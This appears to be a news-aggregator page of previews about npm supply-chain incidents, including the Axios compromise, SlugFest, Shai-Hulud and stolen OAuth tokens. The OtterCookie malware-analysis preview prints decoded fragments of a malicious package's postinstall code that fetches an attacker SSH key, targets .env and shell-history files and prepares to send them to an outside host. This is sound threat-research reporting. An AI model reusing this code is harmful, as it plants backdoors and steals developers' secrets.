# axios npm attack

A software supply-chain attack targeting the axios npm package through malicious published versions and a postinstall hook.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## SlugFest: The npm Trusted Publishing flaw that trusted names, not IDs

DevFeed: [SlugFest: The npm Trusted Publishing flaw that trusted names, not IDs](<https://devfeed.tech/articles/slugfest-the-npm-trusted-publishing-flaw-that-trusted-names-not-ids-88798.md>)

Original publisher: [Read original article](<https://workos.com/blog/npm-trusted-publishing-slugfest>)

Author: WorkOS

Published: 2026-10-16T15:19:21Z

Content type: news

Language: en

Sources: [WorkOS](<https://devfeed.tech/sources/workos-blog.md>)

Topics: [axios supply chain attack](<https://devfeed.tech/topics/axios-supply-chain-attack.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [npm security](<https://devfeed.tech/topics/npm-security.md>), [trust](<https://devfeed.tech/topics/trust.md>), [Domain Name System (DNS)](<https://devfeed.tech/topics/dns-resolution-process.md>)

Tags: [ai](<https://devfeed.tech/tags/ai.md>), [attack](<https://devfeed.tech/tags/attack.md>), [audit](<https://devfeed.tech/tags/audit.md>), [authorization](<https://devfeed.tech/tags/authorization.md>), [class](<https://devfeed.tech/tags/class.md>), [comparison](<https://devfeed.tech/tags/comparison.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [deploy](<https://devfeed.tech/tags/deploy.md>), [disclosure](<https://devfeed.tech/tags/disclosure.md>), [github](<https://devfeed.tech/tags/github.md>), [npm-trusted-publishing](<https://devfeed.tech/tags/npm-trusted-publishing.md>)

### AI overview

The article describes SlugFest, a flaw in npm Trusted Publishing that tied publishing authorization to a GitHub repository's changeable owner/repository name rather than its immutable ID. Bloom Security found more than 1,500 exposed packages, and the article explains the attack path, npm's subsequent validation changes, recommended audits, and the broader risk of using mutable names as authorization identities.

### Source excerpt

npm keyed publishing trust on a renameable owner/repo name instead of GitHub's immutable repository ID, exposing 1,500+ packages. The bug, the fix, and the same mistake in your own authorization code.

## npm Trusted Publishing flaw exposed 1,500+ npm packages to takeover

DevFeed: [npm Trusted Publishing flaw exposed 1,500+ npm packages to takeover](<https://devfeed.tech/articles/npm-trusted-publishing-flaw-exposed-1-500-npm-packages-to-takeover-85967.md>)

Original publisher: [Read original article](<https://www.helpnetsecurity.com/2026/10/13/slugfest-npm-trusted-publishing-flaw/>)

Author: Mirko Zorz

Published: 2026-10-13T09:00:08Z

Content type: news

Language: en

Sources: [Help Net Security](<https://devfeed.tech/sources/help-net-security.md>)

Topics: [npm security](<https://devfeed.tech/topics/npm-security.md>), [npm](<https://devfeed.tech/topics/npm.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [branch protection rules](<https://devfeed.tech/topics/branch-protection-rules.md>)

Tags: [bloom](<https://devfeed.tech/tags/bloom.md>), [don-t-miss](<https://devfeed.tech/tags/don-t-miss.md>), [github](<https://devfeed.tech/tags/github.md>), [hot-stuff](<https://devfeed.tech/tags/hot-stuff.md>), [news](<https://devfeed.tech/tags/news.md>), [npm](<https://devfeed.tech/tags/npm.md>), [npm-packages](<https://devfeed.tech/tags/npm-packages.md>), [research](<https://devfeed.tech/tags/research.md>), [security](<https://devfeed.tech/tags/security.md>), [supply-chain-compromise](<https://devfeed.tech/tags/supply-chain-compromise.md>), [vulnerability-disclosure](<https://devfeed.tech/tags/vulnerability-disclosure.md>)

### AI overview

A flaw in npm Trusted Publishing allowed attackers to publish updates to more than 1,500 packages by claiming GitHub repository names their maintainers had left behind. GitHub says it shipped fixes, including expiring unvalidated configurations after 48 hours, but it is unclear whether existing configurations were retroactively bound to immutable repository identities. Researchers say they do not know whether the flaw was exploited in the wild.

### Source excerpt

Bloom Security researchers found that npm's Trusted Publishing feature let an attacker push new versions of someone else's package without stealing a credential. The attacker only needed to register a GitHub repository name the maintainer had left behind. Bloom counted more than 1,500 npm packages exposed this way, and GitHub, which owns npm, says it has shipped fixes. The exposed packages have more than 10 million downloads in total and more than a million a ... More -> The post npm Trusted Publishing flaw exposed 1,500+ npm packages to takeover appeared first on Help Net Security.

## tensorlake NPM package compromised with Shai Hulud worm

DevFeed: [tensorlake NPM package compromised with Shai Hulud worm](<https://devfeed.tech/articles/tensorlake-npm-package-compromised-with-shai-hulud-worm-76897.md>)

Original publisher: [Read original article](<https://www.aikido.dev/blog/tensorlake-npm-package-compromised>)

Author: Oliver Smith

Published: 2026-10-08T03:32:00Z

Content type: news

Language: en

Sources: [Aikido Security's Blog](<https://devfeed.tech/sources/aikido-security-s-blog.md>)

Topics: [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [npm security](<https://devfeed.tech/topics/npm-security.md>), [npm](<https://devfeed.tech/topics/npm.md>), [code security](<https://devfeed.tech/topics/code-security.md>), [C2](<https://devfeed.tech/topics/c2.md>)

Tags: [malicious](<https://devfeed.tech/tags/malicious.md>), [npm](<https://devfeed.tech/tags/npm.md>), [npm-package](<https://devfeed.tech/tags/npm-package.md>), [shai-hulud](<https://devfeed.tech/tags/shai-hulud.md>), [vulnerabilities](<https://devfeed.tech/tags/vulnerabilities.md>), [worm](<https://devfeed.tech/tags/worm.md>)

### AI overview

A compromised tensorlake npm package version, 0.5.144, contains a variant of the Shai-Hulud worm. The malware can steal secrets from infected systems, target browser data, and attempt to spread through connected supply chains. The report describes how the package was compromised, its behavior, indicators of compromise, and recommended response for affected systems.

### Source excerpt

malicious code detected in tensorlake 0.5.144 Category: Vulnerabilities & Threats

## Cyber resiliency in practice: Lessons from recent supply chain attacks

DevFeed: [Cyber resiliency in practice: Lessons from recent supply chain attacks](<https://devfeed.tech/articles/cyber-resiliency-in-practice-lessons-from-recent-supply-chain-attacks-13017.md>)

Original publisher: [Read original article](<https://www.chainguard.dev/unchained/cyber-resiliency-in-practice-lessons-from-recent-supply-chain-attacks>)

Published: 2026-05-08T00:00:00Z

Content type: article

Language: en

Sources: [Chainguard: Unchained](<https://devfeed.tech/sources/chainguard-unchained.md>)

Topics: [cyber resiliency](<https://devfeed.tech/topics/cyber-resiliency.md>), [Resilience](<https://devfeed.tech/topics/resilience.md>), [software supply-chain attack](<https://devfeed.tech/topics/software-supply-chain-attack.md>), [axios supply chain attack](<https://devfeed.tech/topics/axios-supply-chain-attack.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [litellm supply chain attack](<https://devfeed.tech/topics/litellm-supply-chain-attack.md>)

Tags: [2026](<https://devfeed.tech/tags/2026.md>), [account](<https://devfeed.tech/tags/account.md>), [actions](<https://devfeed.tech/tags/actions.md>), [actor](<https://devfeed.tech/tags/actor.md>), [all](<https://devfeed.tech/tags/all.md>), [also](<https://devfeed.tech/tags/also.md>), [and-best-practices](<https://devfeed.tech/tags/and-best-practices.md>), [attack](<https://devfeed.tech/tags/attack.md>), [attacks](<https://devfeed.tech/tags/attacks.md>), [axios](<https://devfeed.tech/tags/axios.md>), [best](<https://devfeed.tech/tags/best.md>), [best-practices](<https://devfeed.tech/tags/best-practices.md>), [chainguard-libraries](<https://devfeed.tech/tags/chainguard-libraries.md>), [cyber](<https://devfeed.tech/tags/cyber.md>), [cyber-resiliency](<https://devfeed.tech/tags/cyber-resiliency.md>), [cybersecurity](<https://devfeed.tech/tags/cybersecurity.md>), [litellm](<https://devfeed.tech/tags/litellm.md>), [malware](<https://devfeed.tech/tags/malware.md>), [recover](<https://devfeed.tech/tags/recover.md>), [resiliency](<https://devfeed.tech/tags/resiliency.md>), [supply-chain](<https://devfeed.tech/tags/supply-chain.md>), [supply-chain-attacks](<https://devfeed.tech/tags/supply-chain-attacks.md>), [trivy](<https://devfeed.tech/tags/trivy.md>), [worm](<https://devfeed.tech/tags/worm.md>)

### AI overview

Cyber resiliency means integrating the ability to anticipate, withstand, recover from, and adapt to attacks across Protect, Detect, Respond, and Recover. The excerpt illustrates how familiar weaknesses can undermine that lifecycle: a misconfigured Trivy GitHub Action exposed a privileged token, and mutable tags were redirected to malicious commits; an attacker who gained access to the Axios maintainer's npm account published compromised versions that default installs could select and that used a postinstall script to fetch payloads and evade detection; and credentials obtained through the Trivy compromise were used to publish malicious LiteLLM versions to PyPI. The excerpt ends during the LiteLLM account, so it does not establish the incident's full scope or the article's recovery recommendations.

### Source excerpt

Learn how modern cyber resiliency helps organizations prevent, detect, and recover from supply chain attacks like Trivy, Axios, and LiteLLM.

## Our response to the Axios developer tool compromise

DevFeed: [Our response to the Axios developer tool compromise](<https://devfeed.tech/articles/our-response-to-the-axios-developer-tool-compromise-6305.md>)

Original publisher: [Read original article](<https://openai.com/index/axios-developer-tool-compromise>)

Published: 2026-04-10T00:00:00Z

Content type: news

Language: en

Sources: [OpenAI News](<https://devfeed.tech/sources/openai-news.md>)

Topics: [axios supply chain attack](<https://devfeed.tech/topics/axios-supply-chain-attack.md>), [OpenAI](<https://devfeed.tech/topics/openai.md>), [software supply-chain attack](<https://devfeed.tech/topics/software-supply-chain-attack.md>), [axios](<https://devfeed.tech/topics/axios.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [Security](<https://devfeed.tech/topics/security.md>), [Secrets Management](<https://devfeed.tech/topics/secrets-management.md>), [malicious packages](<https://devfeed.tech/topics/malicious-packages.md>)

Tags: [2026](<https://devfeed.tech/tags/2026.md>), [accelerate](<https://devfeed.tech/tags/accelerate.md>), [apps](<https://devfeed.tech/tags/apps.md>), [attack](<https://devfeed.tech/tags/attack.md>), [axios](<https://devfeed.tech/tags/axios.md>), [axios-supply-chain-attack](<https://devfeed.tech/tags/axios-supply-chain-attack.md>), [certificates](<https://devfeed.tech/tags/certificates.md>), [code](<https://devfeed.tech/tags/code.md>), [compromise](<https://devfeed.tech/tags/compromise.md>), [data](<https://devfeed.tech/tags/data.md>), [developer](<https://devfeed.tech/tags/developer.md>), [developer-tool](<https://devfeed.tech/tags/developer-tool.md>), [macos](<https://devfeed.tech/tags/macos.md>), [openai](<https://devfeed.tech/tags/openai.md>), [security](<https://devfeed.tech/tags/security.md>), [signing](<https://devfeed.tech/tags/signing.md>), [supply-chain](<https://devfeed.tech/tags/supply-chain.md>), [supply-chain-attack](<https://devfeed.tech/tags/supply-chain-attack.md>), [tool](<https://devfeed.tech/tags/tool.md>), [updating](<https://devfeed.tech/tags/updating.md>), [user](<https://devfeed.tech/tags/user.md>)

### AI overview

A GitHub Actions workflow used to sign OpenAI macOS apps downloaded and executed compromised Axios 1.14.1 on March 31, 2026. OpenAI says it found no evidence that user data, systems, intellectual property, or published software were compromised, or that signing material was misused. It treated the certificate as potentially compromised, rotated it, published updated app builds, blocked further notarization with the old certificate, and addressed the workflow's use of a floating tag and lack of a minimum release age. macOS users should update by May 8, 2026; older versions may lose support or functionality, and apps signed with the old certificate will then be blocked for new downloads and launches. The notice says the issue affects macOS apps only, not other platforms or web products, and passwords and API keys were unaffected.

### Source excerpt

OpenAI responds to the Axios supply chain attack by rotating macOS code signing certificates, updating apps, and confirming no user data was compromised.

## Mapping Ottercookie Infrastructure

DevFeed: [Mapping Ottercookie Infrastructure](<https://devfeed.tech/articles/mapping-ottercookie-infrastructure-22542.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:33:39Z

Content type: article

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [npm packages](<https://devfeed.tech/topics/npm-packages.md>), [Secret Scanning](<https://devfeed.tech/topics/secret-scanning.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>)

Tags: [analysis](<https://devfeed.tech/tags/analysis.md>), [backdoor](<https://devfeed.tech/tags/backdoor.md>), [based](<https://devfeed.tech/tags/based.md>), [code](<https://devfeed.tech/tags/code.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [crypto](<https://devfeed.tech/tags/crypto.md>), [developers](<https://devfeed.tech/tags/developers.md>), [download](<https://devfeed.tech/tags/download.md>), [dprk](<https://devfeed.tech/tags/dprk.md>), [files](<https://devfeed.tech/tags/files.md>), [golang](<https://devfeed.tech/tags/golang.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [infrastructure](<https://devfeed.tech/tags/infrastructure.md>), [key](<https://devfeed.tech/tags/key.md>), [malware](<https://devfeed.tech/tags/malware.md>), [malware-analysis](<https://devfeed.tech/tags/malware-analysis.md>), [mapping](<https://devfeed.tech/tags/mapping.md>), [matching](<https://devfeed.tech/tags/matching.md>), [nodejs](<https://devfeed.tech/tags/nodejs.md>), [pattern-matching](<https://devfeed.tech/tags/pattern-matching.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>), [stealer](<https://devfeed.tech/tags/stealer.md>)

### AI overview

Jason Reaves describes pivoting from Node.js stealer and backdoor code to infrastructure associated with OtterCookie. In the excerpt, the decoded npm package's postinstall script fetches an SSH key for local installation on Linux and scan patterns including `.env`, `.bash_history`, and `ConsoleHost_history.txt`, then appears intended to send collected files. Reaves connects related code through blog posts and deobfuscation, then uses exposed port mappings and a banner hash on port 17500 to identify infrastructure. The excerpt does not include the resulting IP list or full analysis.

### Source excerpt

By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7

## npm security update: Attack campaign using stolen OAuth tokens

DevFeed: [npm security update: Attack campaign using stolen OAuth tokens](<https://devfeed.tech/articles/npm-security-update-attack-campaign-using-stolen-oauth-tokens-68321.md>)

Original publisher: [Read original article](<https://github.blog/news-insights/company-news/npm-security-update-oauth-tokens/>)

Author: Greg Ose

Published: 2022-05-27T04:37:28Z

Content type: news

Language: en

Sources: [GitHub Blog](<https://devfeed.tech/sources/github-engineering.md>)

Topics: [npm](<https://devfeed.tech/topics/npm.md>), [npm security](<https://devfeed.tech/topics/npm-security.md>), [axios npm attack](<https://devfeed.tech/topics/axios-npm-attack.md>), [axios supply chain attack](<https://devfeed.tech/topics/axios-supply-chain-attack.md>), [npm packages](<https://devfeed.tech/topics/npm-packages.md>), [Security](<https://devfeed.tech/topics/security.md>), [software supply-chain attack](<https://devfeed.tech/topics/software-supply-chain-attack.md>), [Secrets Management](<https://devfeed.tech/topics/secrets-management.md>), [account takeover](<https://devfeed.tech/topics/account-takeover.md>)

Tags: [attack](<https://devfeed.tech/tags/attack.md>), [breach](<https://devfeed.tech/tags/breach.md>), [company-news](<https://devfeed.tech/tags/company-news.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [data-breach](<https://devfeed.tech/tags/data-breach.md>), [github](<https://devfeed.tech/tags/github.md>), [github-security](<https://devfeed.tech/tags/github-security.md>), [news-insights](<https://devfeed.tech/tags/news-insights.md>), [npm](<https://devfeed.tech/tags/npm.md>), [npm-security](<https://devfeed.tech/tags/npm-security.md>), [oauth](<https://devfeed.tech/tags/oauth.md>), [security](<https://devfeed.tech/tags/security.md>), [security-update](<https://devfeed.tech/tags/security-update.md>), [tokens](<https://devfeed.tech/tags/tokens.md>)

### AI overview

GitHub reports that attackers used stolen OAuth tokens issued to Heroku and Travis CI to access npm infrastructure and exfiltrate data, including an old database backup, private package metadata, and packages from two organizations. The investigation found no evidence that published packages were modified. The post also describes an unrelated finding: plaintext npm credentials had been captured in internal logs, which GitHub says it purged after improving log sanitization.

### Source excerpt

npm's impact analysis of the attack campaign using stolen OAuth tokens and additional findings.